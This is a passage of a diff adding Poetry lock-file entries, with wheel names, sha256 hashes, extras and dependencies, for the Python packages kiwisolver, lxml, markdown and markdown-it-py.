"sha256:f8ad8285b01b0d4695102546b342b493b3ccc6781fc28c8c6a1bb63e95d22f09"}, + {file = "kiwisolver-1.4.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8ed58b8acf29798b036d347791141767ccf65eee7f26bde03a71c944449e53de"}, + {file = "kiwisolver-1.4.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a68b62a02953b9841730db7797422f983935aeefceb1679f0fc85cbfbd311c32"}, + {file = "kiwisolver-1.4.4-cp310-cp310-win32.whl", hash = "sha256:e92a513161077b53447160b9bd8f522edfbed4bd9759e4c18ab05d7ef7e49408"}, + {file = "kiwisolver-1.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:3fe20f63c9ecee44560d0e7f116b3a747a5d7203376abeea292ab3152334d004"}, + {file = "kiwisolver-1.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e0ea21f66820452a3f5d1655f8704a60d66ba1191359b96541eaf457710a5fc6"}, + {file = "kiwisolver-1.4.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bc9db8a3efb3e403e4ecc6cd9489ea2bac94244f80c78e27c31dcc00d2790ac2"}, + {file = "kiwisolver-1.4.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d5b61785a9ce44e5a4b880272baa7cf6c8f48a5180c3e81c59553ba0cb0821ca"}, + {file = "kiwisolver-1.4.4-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2dbb44c3f7e6c4d3487b31037b1bdbf424d97687c1747ce4ff2895795c9bf69"}, + {file = "kiwisolver-1.4.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6295ecd49304dcf3bfbfa45d9a081c96509e95f4b9d0eb7ee4ec0530c4a96514"}, + {file = "kiwisolver-1.4.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4bd472dbe5e136f96a4b18f295d159d7f26fd399136f5b17b08c4e5f498cd494"}, + {file = "kiwisolver-1.4.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bf7d9fce9bcc4752ca4a1b80aabd38f6d19009ea5cbda0e0856983cf6d0023f5"}, + {file = "kiwisolver-1.4.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:78d6601aed50c74e0ef02f4204da1816147a6d3fbdc8b3872d263338a9052c51"}, + {file = "kiwisolver-1.4.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:877272cf6b4b7e94c9614f9b10140e198d2186363728ed0f701c6eee1baec1da"}, + {file = "kiwisolver-1.4.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:db608a6757adabb32f1cfe6066e39b3706d8c3aa69bbc353a5b61edad36a5cb4"}, + {file = "kiwisolver-1.4.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:5853eb494c71e267912275e5586fe281444eb5e722de4e131cddf9d442615626"}, + {file = "kiwisolver-1.4.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:f0a1dbdb5ecbef0d34eb77e56fcb3e95bbd7e50835d9782a45df81cc46949750"}, + {file = "kiwisolver-1.4.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:283dffbf061a4ec60391d51e6155e372a1f7a4f5b15d59c8505339454f8989e4"}, + {file = "kiwisolver-1.4.4-cp311-cp311-win32.whl", hash = "sha256:d06adcfa62a4431d404c31216f0f8ac97397d799cd53800e9d3efc2fbb3cf14e"}, + {file = "kiwisolver-1.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:e7da3fec7408813a7cebc9e4ec55afed2d0fd65c4754bc376bf03498d4e92686"}, + {file = "kiwisolver-1.4.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:62ac9cc684da4cf1778d07a89bf5f81b35834cb96ca523d3a7fb32509380cbf6"}, + {file = "kiwisolver-1.4.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41dae968a94b1ef1897cb322b39360a0812661dba7c682aa45098eb8e193dbdf"}, + {file = "kiwisolver-1.4.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:02f79693ec433cb4b5f51694e8477ae83b3205768a6fb48ffba60549080e295b"}, + {file = "kiwisolver-1.4.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d0611a0a2a518464c05ddd5a3a1a0e856ccc10e67079bb17f265ad19ab3c7597"}, + {file = "kiwisolver-1.4.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:db5283d90da4174865d520e7366801a93777201e91e79bacbac6e6927cbceede"}, + {file = "kiwisolver-1.4.4-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:1041feb4cda8708ce73bb4dcb9ce1ccf49d553bf87c3954bdfa46f0c3f77252c"}, + {file = "kiwisolver-1.4.4-cp37-cp37m-win32.whl", hash = "sha256:a553dadda40fef6bfa1456dc4be49b113aa92c2a9a9e8711e955618cd69622e3"}, + {file = "kiwisolver-1.4.4-cp37-cp37m-win_amd64.whl", hash = "sha256:03baab2d6b4a54ddbb43bba1a3a2d1627e82d205c5cf8f4c924dc49284b87166"}, + {file = "kiwisolver-1.4.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:841293b17ad704d70c578f1f0013c890e219952169ce8a24ebc063eecf775454"}, + {file = "kiwisolver-1.4.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f4f270de01dd3e129a72efad823da90cc4d6aafb64c410c9033aba70db9f1ff0"}, + {file = "kiwisolver-1.4.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:f9f39e2f049db33a908319cf46624a569b36983c7c78318e9726a4cb8923b26c"}, + {file = "kiwisolver-1.4.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c97528e64cb9ebeff9701e7938653a9951922f2a38bd847787d4a8e498cc83ae"}, + {file = "kiwisolver-1.4.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1d1573129aa0fd901076e2bfb4275a35f5b7aa60fbfb984499d661ec950320b0"}, + {file = "kiwisolver-1.4.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ad881edc7ccb9d65b0224f4e4d05a1e85cf62d73aab798943df6d48ab0cd79a1"}, + {file = "kiwisolver-1.4.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b428ef021242344340460fa4c9185d0b1f66fbdbfecc6c63eff4b7c29fad429d"}, + {file = "kiwisolver-1.4.4-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:2e407cb4bd5a13984a6c2c0fe1845e4e41e96f183e5e5cd4d77a857d9693494c"}, + {file = "kiwisolver-1.4.4-cp38-cp38-win32.whl", hash = "sha256:75facbe9606748f43428fc91a43edb46c7ff68889b91fa31f53b58894503a191"}, + {file = "kiwisolver-1.4.4-cp38-cp38-win_amd64.whl", hash = "sha256:5bce61af018b0cb2055e0e72e7d65290d822d3feee430b7b8203d8a855e78766"}, + {file = "kiwisolver-1.4.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8c808594c88a025d4e322d5bb549282c93c8e1ba71b790f539567932722d7bd8"}, + {file = "kiwisolver-1.4.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f0a71d85ecdd570ded8ac3d1c0f480842f49a40beb423bb8014539a9f32a5897"}, + {file = "kiwisolver-1.4.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b533558eae785e33e8c148a8d9921692a9fe5aa516efbdff8606e7d87b9d5824"}, + {file = "kiwisolver-1.4.4-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:efda5fc8cc1c61e4f639b8067d118e742b812c930f708e6667a5ce0d13499e29"}, + {file = "kiwisolver-1.4.4-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:7c43e1e1206cd421cd92e6b3280d4385d41d7166b3ed577ac20444b6995a445f"}, + {file = "kiwisolver-1.4.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bc8d3bd6c72b2dd9decf16ce70e20abcb3274ba01b4e1c96031e0c4067d1e7cd"}, + {file = "kiwisolver-1.4.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4ea39b0ccc4f5d803e3337dd46bcce60b702be4d86fd0b3d7531ef10fd99a1ac"}, + {file = "kiwisolver-1.4.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:968f44fdbf6dd757d12920d63b566eeb4d5b395fd2d00d29d7ef00a00582aac9"}, + {file = "kiwisolver-1.4.4-cp39-cp39-win32.whl", hash = "sha256:da7e547706e69e45d95e116e6939488d62174e033b763ab1496b4c29b76fabea"}, + {file = "kiwisolver-1.4.4-cp39-cp39-win_amd64.whl", hash = "sha256:ba59c92039ec0a66103b1d5fe588fa546373587a7d68f5c96f743c3396afc04b"}, + {file = "kiwisolver-1.4.4-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:91672bacaa030f92fc2f43b620d7b337fd9a5af28b0d6ed3f77afc43c4a64b5a"}, + {file = "kiwisolver-1.4.4-pp37-pypy37_pp73-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:787518a6789009c159453da4d6b683f468ef7a65bbde796bcea803ccf191058d"}, + {file = "kiwisolver-1.4.4-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:da152d8cdcab0e56e4f45eb08b9aea6455845ec83172092f09b0e077ece2cf7a"}, + {file = "kiwisolver-1.4.4-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:ecb1fa0db7bf4cff9dac752abb19505a233c7f16684c5826d1f11ebd9472b871"}, + {file = "kiwisolver-1.4.4-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:28bc5b299f48150b5f822ce68624e445040595a4ac3d59251703779836eceff9"}, + {file = "kiwisolver-1.4.4-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:81e38381b782cc7e1e46c4e14cd997ee6040768101aefc8fa3c24a4cc58e98f8"}, + {file = "kiwisolver-1.4.4-pp38-pypy38_pp73-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2a66fdfb34e05b705620dd567f5a03f239a088d5a3f321e7b6ac3239d22aa286"}, + {file = "kiwisolver-1.4.4-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:872b8ca05c40d309ed13eb2e582cab0c5a05e81e987ab9c521bf05ad1d5cf5cb"}, + {file = "kiwisolver-1.4.4-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:70e7c2e7b750585569564e2e5ca9845acfaa5da56ac46df68414f29fea97be9f"}, + {file = "kiwisolver-1.4.4-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9f85003f5dfa867e86d53fac6f7e6f30c045673fa27b603c397753bebadc3008"}, + {file = "kiwisolver-1.4.4-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2e307eb9bd99801f82789b44bb45e9f541961831c7311521b13a6c85afc09767"}, + {file = "kiwisolver-1.4.4-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b1792d939ec70abe76f5054d3f36ed5656021dcad1322d1cc996d4e54165cef9"}, + {file = "kiwisolver-1.4.4-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6cb459eea32a4e2cf18ba5fcece2dbdf496384413bc1bae15583f19e567f3b2"}, + {file = "kiwisolver-1.4.4-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:36dafec3d6d6088d34e2de6b85f9d8e2324eb734162fba59d2ba9ed7a2043d5b"}, + {file = "kiwisolver-1.4.4.tar.gz", hash = "sha256:d41997519fcba4a1e46eb4a2fe31bc12f0ff957b2b81bac28db24744f333e955"}, +] + +[[package]] +name = "lxml" +version = "4.9.2" +description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." +category = "main" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*" +files = [ + {file = "lxml-4.9.2-cp27-cp27m-macosx_10_15_x86_64.whl", hash = "sha256:76cf573e5a365e790396a5cc2b909812633409306c6531a6877c59061e42c4f2"}, + {file = "lxml-4.9.2-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b1f42b6921d0e81b1bcb5e395bc091a70f41c4d4e55ba99c6da2b31626c44892"}, + {file = "lxml-4.9.2-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:9f102706d0ca011de571de32c3247c6476b55bb6bc65a20f682f000b07a4852a"}, + {file = "lxml-4.9.2-cp27-cp27m-win32.whl", hash = "sha256:8d0b4612b66ff5d62d03bcaa043bb018f74dfea51184e53f067e6fdcba4bd8de"}, + {file = "lxml-4.9.2-cp27-cp27m-win_amd64.whl", hash = "sha256:4c8f293f14abc8fd3e8e01c5bd86e6ed0b6ef71936ded5bf10fe7a5efefbaca3"}, + {file = "lxml-4.9.2-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2899456259589aa38bfb018c364d6ae7b53c5c22d8e27d0ec7609c2a1ff78b50"}, + {file = "lxml-4.9.2-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6749649eecd6a9871cae297bffa4ee76f90b4504a2a2ab528d9ebe912b101975"}, + {file = "lxml-4.9.2-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:a08cff61517ee26cb56f1e949cca38caabe9ea9fbb4b1e10a805dc39844b7d5c"}, + {file = "lxml-4.9.2-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:85cabf64adec449132e55616e7ca3e1000ab449d1d0f9d7f83146ed5bdcb6d8a"}, + {file = "lxml-4.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:8340225bd5e7a701c0fa98284c849c9b9fc9238abf53a0ebd90900f25d39a4e4"}, + {file = "lxml-4.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:1ab8f1f932e8f82355e75dda5413a57612c6ea448069d4fb2e217e9a4bed13d4"}, + {file = "lxml-4.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:699a9af7dffaf67deeae27b2112aa06b41c370d5e7633e0ee0aea2e0b6c211f7"}, + {file = "lxml-4.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b9cc34af337a97d470040f99ba4282f6e6bac88407d021688a5d585e44a23184"}, + {file = "lxml-4.9.2-cp310-cp310-win32.whl", hash = "sha256:d02a5399126a53492415d4906ab0ad0375a5456cc05c3fc0fc4ca11771745cda"}, + {file = "lxml-4.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:a38486985ca49cfa574a507e7a2215c0c780fd1778bb6290c21193b7211702ab"}, + {file = "lxml-4.9.2-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:c83203addf554215463b59f6399835201999b5e48019dc17f182ed5ad87205c9"}, + {file = "lxml-4.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:2a87fa548561d2f4643c99cd13131acb607ddabb70682dcf1dff5f71f781a4bf"}, + {file = "lxml-4.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:d6b430a9938a5a5d85fc107d852262ddcd48602c120e3dbb02137c83d212b380"}, + {file = "lxml-4.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3efea981d956a6f7173b4659849f55081867cf897e719f57383698af6f618a92"}, + {file = "lxml-4.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:df0623dcf9668ad0445e0558a21211d4e9a149ea8f5666917c8eeec515f0a6d1"}, + {file = "lxml-4.9.2-cp311-cp311-win32.whl", hash = "sha256:da248f93f0418a9e9d94b0080d7ebc407a9a5e6d0b57bb30db9b5cc28de1ad33"}, + {file = "lxml-4.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:3818b8e2c4b5148567e1b09ce739006acfaa44ce3156f8cbbc11062994b8e8dd"}, + {file = "lxml-4.9.2-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ca989b91cf3a3ba28930a9fc1e9aeafc2a395448641df1f387a2d394638943b0"}, + {file = "lxml-4.9.2-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:822068f85e12a6e292803e112ab876bc03ed1f03dddb80154c395f891ca6b31e"}, + {file = "lxml-4.9.2-cp35-cp35m-win32.whl", hash = "sha256:be7292c55101e22f2a3d4d8913944cbea71eea90792bf914add27454a13905df"}, + {file = "lxml-4.9.2-cp35-cp35m-win_amd64.whl", hash = "sha256:998c7c41910666d2976928c38ea96a70d1aa43be6fe502f21a651e17483a43c5"}, + {file = "lxml-4.9.2-cp36-cp36m-macosx_10_15_x86_64.whl", hash = "sha256:b26a29f0b7fc6f0897f043ca366142d2b609dc60756ee6e4e90b5f762c6adc53"}, + {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:ab323679b8b3030000f2be63e22cdeea5b47ee0abd2d6a1dc0c8103ddaa56cd7"}, + {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:689bb688a1db722485e4610a503e3e9210dcc20c520b45ac8f7533c837be76fe"}, + {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:f49e52d174375a7def9915c9f06ec4e569d235ad428f70751765f48d5926678c"}, + {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:36c3c175d34652a35475a73762b545f4527aec044910a651d2bf50de9c3352b1"}, + {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:a35f8b7fa99f90dd2f5dc5a9fa12332642f087a7641289ca6c40d6e1a2637d8e"}, + {file = "lxml-4.9.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:58bfa3aa19ca4c0f28c5dde0ff56c520fbac6f0daf4fac66ed4c8d2fb7f22e74"}, + {file = "lxml-4.9.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:bc718cd47b765e790eecb74d044cc8d37d58562f6c314ee9484df26276d36a38"}, + {file = "lxml-4.9.2-cp36-cp36m-win32.whl", hash = "sha256:d5bf6545cd27aaa8a13033ce56354ed9e25ab0e4ac3b5392b763d8d04b08e0c5"}, + {file = "lxml-4.9.2-cp36-cp36m-win_amd64.whl", hash = "sha256:3ab9fa9d6dc2a7f29d7affdf3edebf6ece6fb28a6d80b14c3b2fb9d39b9322c3"}, + {file = "lxml-4.9.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:05ca3f6abf5cf78fe053da9b1166e062ade3fa5d4f92b4ed688127ea7d7b1d03"}, + {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:a5da296eb617d18e497bcf0a5c528f5d3b18dadb3619fbdadf4ed2356ef8d941"}, + {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:04876580c050a8c5341d706dd464ff04fd597095cc8c023252566a8826505726"}, + {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:c9ec3eaf616d67db0764b3bb983962b4f385a1f08304fd30c7283954e6a7869b"}, + {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2a29ba94d065945944016b6b74e538bdb1751a1db6ffb80c9d3c2e40d6fa9894"}, + {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:a82d05da00a58b8e4c0008edbc8a4b6ec5a4bc1e2ee0fb6ed157cf634ed7fa45"}, + {file = "lxml-4.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:223f4232855ade399bd409331e6ca70fb5578efef22cf4069a6090acc0f53c0e"}, + {file = "lxml-4.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d17bc7c2ccf49c478c5bdd447594e82692c74222698cfc9b5daae7ae7e90743b"}, + {file = "lxml-4.9.2-cp37-cp37m-win32.whl", hash = "sha256:b64d891da92e232c36976c80ed7ebb383e3f148489796d8d31a5b6a677825efe"}, + {file = "lxml-4.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:a0a336d6d3e8b234a3aae3c674873d8f0e720b76bc1d9416866c41cd9500ffb9"}, + {file = "lxml-4.9.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:da4dd7c9c50c059aba52b3524f84d7de956f7fef88f0bafcf4ad7dde94a064e8"}, + {file = "lxml-4.9.2-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:821b7f59b99551c69c85a6039c65b75f5683bdc63270fec660f75da67469ca24"}, + {file = "lxml-4.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:e5168986b90a8d1f2f9dc1b841467c74221bd752537b99761a93d2d981e04889"}, + {file = "lxml-4.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:8e20cb5a47247e383cf4ff523205060991021233ebd6f924bca927fcf25cf86f"}, + {file = "lxml-4.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:13598ecfbd2e86ea7ae45ec28a2a54fb87ee9b9fdb0f6d343297d8e548392c03"}, + {file = "lxml-4.9.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:880bbbcbe2fca64e2f4d8e04db47bcdf504936fa2b33933efd945e1b429bea8c"}, + {file = "lxml-4.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:7d2278d59425777cfcb19735018d897ca8303abe67cc735f9f97177ceff8027f"}, + {file = "lxml-4.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5344a43228767f53a9df6e5b253f8cdca7dfc7b7aeae52551958192f56d98457"}, + {file = "lxml-4.9.2-cp38-cp38-win32.whl", hash = "sha256:925073b2fe14ab9b87e73f9a5fde6ce6392da430f3004d8b72cc86f746f5163b"}, + {file = "lxml-4.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:9b22c5c66f67ae00c0199f6055705bc3eb3fcb08d03d2ec4059a2b1b25ed48d7"}, + {file = "lxml-4.9.2-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:5f50a1c177e2fa3ee0667a5ab79fdc6b23086bc8b589d90b93b4bd17eb0e64d1"}, + {file = "lxml-4.9.2-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:090c6543d3696cbe15b4ac6e175e576bcc3f1ccfbba970061b7300b0c15a2140"}, + {file = "lxml-4.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:63da2ccc0857c311d764e7d3d90f429c252e83b52d1f8f1d1fe55be26827d1f4"}, + {file = "lxml-4.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:5b4545b8a40478183ac06c073e81a5ce4cf01bf1734962577cf2bb569a5b3bbf"}, + {file = "lxml-4.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2e430cd2824f05f2d4f687701144556646bae8f249fd60aa1e4c768ba7018947"}, + {file = "lxml-4.9.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6804daeb7ef69e7b36f76caddb85cccd63d0c56dedb47555d2fc969e2af6a1a5"}, + {file = "lxml-4.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a6e441a86553c310258aca15d1c05903aaf4965b23f3bc2d55f200804e005ee5"}, + {file = "lxml-4.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ca34efc80a29351897e18888c71c6aca4a359247c87e0b1c7ada14f0ab0c0fb2"}, + {file = "lxml-4.9.2-cp39-cp39-win32.whl", hash = "sha256:6b418afe5df18233fc6b6093deb82a32895b6bb0b1155c2cdb05203f583053f1"}, + {file = "lxml-4.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:f1496ea22ca2c830cbcbd473de8f114a320da308438ae65abad6bab7867fe38f"}, + {file = "lxml-4.9.2-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:b264171e3143d842ded311b7dccd46ff9ef34247129ff5bf5066123c55c2431c"}, + {file = "lxml-4.9.2-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0dc313ef231edf866912e9d8f5a042ddab56c752619e92dfd3a2c277e6a7299a"}, + {file = "lxml-4.9.2-pp38-pypy38_pp73-macosx_10_15_x86_64.whl", hash = "sha256:16efd54337136e8cd72fb9485c368d91d77a47ee2d42b057564aae201257d419"}, + {file = "lxml-4.9.2-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:0f2b1e0d79180f344ff9f321327b005ca043a50ece8713de61d1cb383fb8ac05"}, + {file = "lxml-4.9.2-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:7b770ed79542ed52c519119473898198761d78beb24b107acf3ad65deae61f1f"}, + {file = "lxml-4.9.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:efa29c2fe6b4fdd32e8ef81c1528506895eca86e1d8c4657fda04c9b3786ddf9"}, + {file = "lxml-4.9.2-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7e91ee82f4199af8c43d8158024cbdff3d931df350252288f0d4ce656df7f3b5"}, + {file = "lxml-4.9.2-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:b23e19989c355ca854276178a0463951a653309fb8e57ce674497f2d9f208746"}, + {file = "lxml-4.9.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:01d36c05f4afb8f7c20fd9ed5badca32a2029b93b1750f571ccc0b142531caf7"}, + {file = "lxml-4.9.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7b515674acfdcadb0eb5d00d8a709868173acece5cb0be3dd165950cbfdf5409"}, + {file = "lxml-4.9.2.tar.gz", hash = "sha256:2455cfaeb7ac70338b3257f41e21f0724f4b5b0c0e7702da67ee6c3640835b67"}, +] + +[package.extras] +cssselect = ["cssselect (>=0.7)"] +html5 = ["html5lib"] +htmlsoup = ["BeautifulSoup4"] +source = ["Cython (>=0.29.7)"] + +[[package]] +name = "markdown" +version = "3.4.3" +description = "Python implementation of John Gruber's Markdown." +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "Markdown-3.4.3-py3-none-any.whl", hash = "sha256:065fd4df22da73a625f14890dd77eb8040edcbd68794bcd35943be14490608b2"}, + {file = "Markdown-3.4.3.tar.gz", hash = "sha256:8bf101198e004dc93e84a12a7395e31aac6a9c9942848ae1d99b9d72cf9b3520"}, +] + +[package.extras] +testing = ["coverage", "pyyaml"] + +[[package]] +name = "markdown-it-py" +version = "2.2.0" +description = "Python port of markdown-it. Markdown parsing, done right!" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "markdown-it-py-2.2.0.tar.gz", hash = "sha256:7c9a5e412688bc771c67432cbfebcdd686c93ce6484913dccf06cb5a0bea35a1"}, + {file = "markdown_it_py-2.2.0-py3-none-any.whl", hash = "sha256:5a35f8d1870171d9acc47b99612dc146129b631baf04970128b568f190d0cc30"}, +] + +[package.dependencies] +mdurl = ">=0.1,<1.0" + +[package.extras] +benchmarking = ["psutil", "pytest", "pytest-benchmark"] +code-style = ["pre-commit (>=3.0,<4.0)"] +compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"] +linkify = ["linkify-it-py (>=1,<3)"] +plugins = 